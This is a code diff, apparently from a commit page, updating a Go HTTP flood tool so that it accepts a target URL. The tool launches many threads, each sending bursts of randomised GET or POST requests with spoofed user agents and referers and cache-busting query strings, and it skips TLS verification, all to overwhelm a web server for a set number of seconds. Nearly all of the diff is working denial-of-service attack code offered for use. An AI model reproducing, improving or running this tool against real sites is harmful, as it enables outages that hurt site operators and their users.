@@ -4,6 +4,9 @@ Please fking code ur script by ur self, kid.
4
4
5
5
I changed the random integers range to the max of int32.
6
6
Now 386 systems should work well.
7
+
8
+ Looks like most people want to hit the url but not the host/ip.
9
+ As a result, here you are.
7
10
*/
8
11
package main
9
12
@@ -14,12 +17,18 @@ import (
14
17
"io"
15
18
"math/rand"
16
19
"net"
20
+ "net/url"
17
21
"os"
18
22
"strconv"
23
+ "strings"
19
24
"time"
20
25
)
21
26
22
27
var (
28
+ host = ""
29
+ port = "80"
30
+ page = ""
31
+ mode = ""
23
32
abcd = "asdfghjklqwertyuiopzxcvbnmASDFGHJKLQWERTYUIOPZXCVBNM"
24
33
start = make (chan bool )
25
34
acceptall = []string {
38
47
"Accept-Language: en-US,en;q=0.5\r \n " ,
39
48
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r \n Accept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r \n " ,
40
49
"Accept: text/plain;q=0.8,image/png,*/*;q=0.5\r \n Accept-Charset: iso-8859-1\r \n " }
41
- page string
50
+ key string
42
51
choice = []string {"Macintosh" , "Windows" , "X11" }
43
52
choice2 = []string {"68K" , "PPC" , "Intel Mac OS X" }
44
53
choice3 = []string {"Win3.11" , "WinNT3.51" , "WinNT4.0" , "Windows NT 5.0" , "Windows NT 5.1" , "Windows NT 5.2" , "Windows NT 6.0" , "Windows NT 6.1" , "Windows NT 6.2" , "Win 9x 4.90" , "WindowsCE" , "Windows XP" , "Windows 7" , "Windows 8" , "Windows NT 10.0; Win64; x64" }
@@ -118,20 +127,20 @@ func contain(char string, x string) int { //simple compare
118
127
return ans
119
128
}
120
129
121
- func flood (ip , port , page , mode string ) {
122
- addr := ip + ":" + port
130
+ func flood () {
131
+ addr := host + ":" + port
123
132
header := ""
124
133
if mode == "get" {
125
134
header += " HTTP/1.1\r \n Host: "
126
135
header += addr + "\r \n "
127
- if os .Args [7 ] == "nil" {
136
+ if os .Args [5 ] == "nil" {
128
137
header += "Connection: Keep-Alive\r \n Cache-Control: max-age=0\r \n "
129
138
header += "User-Agent: " + getuseragent () + "\r \n "
130
139
header += acceptall [rand .Intn (len (acceptall ))]
131
140
header += referers [rand .Intn (len (referers ))] + "\r \n "
132
141
} else {
133
142
func () {
134
- fi , err := os .Open (os .Args [7 ])
143
+ fi , err := os .Open (os .Args [5 ])
135
144
if err != nil {
136
145
fmt .Printf ("Error: %s\n " , err )
137
146
return
@@ -149,9 +158,9 @@ func flood(ip, port, page, mode string) {
149
158
}
150
159
} else if mode == "post" {
151
160
data := ""
152
- if os .Args [7 ] != "nil" {
161
+ if os .Args [5 ] != "nil" {
153
162
func () {
154
- fi , err := os .Open (os .Args [7 ])
163
+ fi , err := os .Open (os .Args [5 ])
155
164
if err != nil {
156
165
fmt .Printf ("Error: %s\n " , err )
157
166
return
@@ -168,11 +177,9 @@ func flood(ip, port, page, mode string) {
168
177
}()
169
178
170
179
} else {
171
- for x := 0 ; x > 100 ; x ++ {
172
- data += string (string (abcd [rand .Intn (len (abcd ))]))
173
- }
180
+ data = "f"
174
181
}
175
- header : = "POST " + os . Args [ 4 ] + " HTTP/1.1\r \n Host: " + addr + "\r \n "
182
+ header + = "POST " + page + " HTTP/1.1\r \n Host: " + addr + "\r \n "
176
183
header += "Connection: Keep-Alive\r \n Content-Type: x-www-form-urlencoded\r \n Content-Length: " + strconv .Itoa (len (data )) + "\r \n "
177
184
header += "Accept-Encoding: gzip, deflate\r \n \n " + data + "\r \n "
178
185
}
@@ -183,7 +190,7 @@ func flood(ip, port, page, mode string) {
183
190
if port == "443" {
184
191
cfg := & tls.Config {
185
192
InsecureSkipVerify : true ,
186
- ServerName : ip , //simple fix
193
+ ServerName : host , //simple fix
187
194
}
188
195
s , err = tls .Dial ("tcp" , addr , cfg )
189
196
} else {
@@ -194,8 +201,8 @@ func flood(ip, port, page, mode string) {
194
201
} else {
195
202
for i := 0 ; i < 100 ; i ++ {
196
203
request := ""
197
- if os .Args [5 ] == "get" {
198
- request += "GET " + os . Args [ 4 ] + page
204
+ if os .Args [3 ] == "get" {
205
+ request += "GET " + page + key
199
206
request += strconv .Itoa (rand .Intn (2147483647 )) + string (string (abcd [rand .Intn (len (abcd ))])) + string (abcd [rand .Intn (len (abcd ))]) + string (abcd [rand .Intn (len (abcd ))]) + string (abcd [rand .Intn (len (abcd ))])
200
207
}
201
208
request += header + "\r \n "
@@ -214,33 +221,53 @@ func main() {
214
221
fmt .Println (" || || || || || || || || || || || || || || " )
215
222
fmt .Println (".|| ||. `|..' `|..' ||..|' .||. .||. `|..|' `|..|' `|..||. " )
216
223
fmt .Println (" || " )
217
- fmt .Println (" .|| Golang version 1.9 " )
224
+ fmt .Println (" .|| Golang version 2.0 " )
218
225
fmt .Println (" C0d3d By L330n123" )
219
226
fmt .Println ("==========================================================================" )
220
- if len (os .Args ) != 8 {
227
+ if len (os .Args ) != 6 {
221
228
fmt .Println ("Post Mode will use header.txt as data" )
222
229
fmt .Println ("If you are using linux please run 'ulimit -n 999999' first!!!" )
223
- fmt .Println ("Usage: " , os .Args [0 ], "<ip > <port> < threads> <page > <get/post> <seconds> <header.txt/nil>" )
230
+ fmt .Println ("Usage: " , os .Args [0 ], "<url > <threads> <get/post> <seconds> <header.txt/nil>" )
224
231
os .Exit (1 )
225
232
}
226
- threads , err := strconv .Atoi (os .Args [3 ])
233
+ u , err := url .Parse (os .Args [1 ])
234
+ if err != nil {
235
+ println ("Please input a correct url" )
236
+ }
237
+ tmp := strings .Split (u .Host , ":" )
238
+ host = tmp [0 ]
239
+ if u .Scheme == "https" {
240
+ port = "443"
241
+ } else {
242
+ port = u .Port ()
243
+ }
244
+ if port == "" {
245
+ port = "80"
246
+ }
247
+ page = u .Path
248
+ if os .Args [3 ] != "get" && os .Args [3 ] != "post" {
249
+ println ("Wrong mode, Only can use \" get\" or \" post\" " )
250
+ return
251
+ }
252
+ mode = os .Args [3 ]
253
+ threads , err := strconv .Atoi (os .Args [2 ])
227
254
if err != nil {
228
255
fmt .Println ("Threads should be a integer" )
229
256
}
230
- limit , err := strconv .Atoi (os .Args [6 ])
257
+ limit , err := strconv .Atoi (os .Args [4 ])
231
258
if err != nil {
232
259
fmt .Println ("limit should be a integer" )
233
260
}
234
- if contain (os . Args [ 4 ] , "?" ) == 0 {
235
- page = "?"
261
+ if contain (page , "?" ) == 0 {
262
+ key = "?"
236
263
} else {
237
- page = "&"
264
+ key = "&"
238
265
}
239
266
input := bufio .NewReader (os .Stdin )
240
267
241
268
for i := 0 ; i < threads ; i ++ {
242
269
time .Sleep (time .Microsecond * 100 )
243
- go flood (os . Args [ 1 ], os . Args [ 2 ], os . Args [ 4 ], os . Args [ 5 ] ) // Start threads
270
+ go flood () // Start threads
244
271
fmt .Printf ("\r Threads [%.0f] are ready" , float64 (i + 1 ))
245
272
os .Stdout .Sync ()
246
273
//time.Sleep( time.Millisecond * 1)
@@ -251,7 +278,7 @@ func main() {
251
278
fmt .Println (err )
252
279
return
253
280
}
254
- fmt .Println ("Flood will end in " + os .Args [6 ] + " seconds." )
281
+ fmt .Println ("Flood will end in " + os .Args [4 ] + " seconds." )
255
282
close (start )
256
283
time .Sleep (time .Duration (limit ) * time .Second )
257
284
//Keep the threads continue
0 commit comments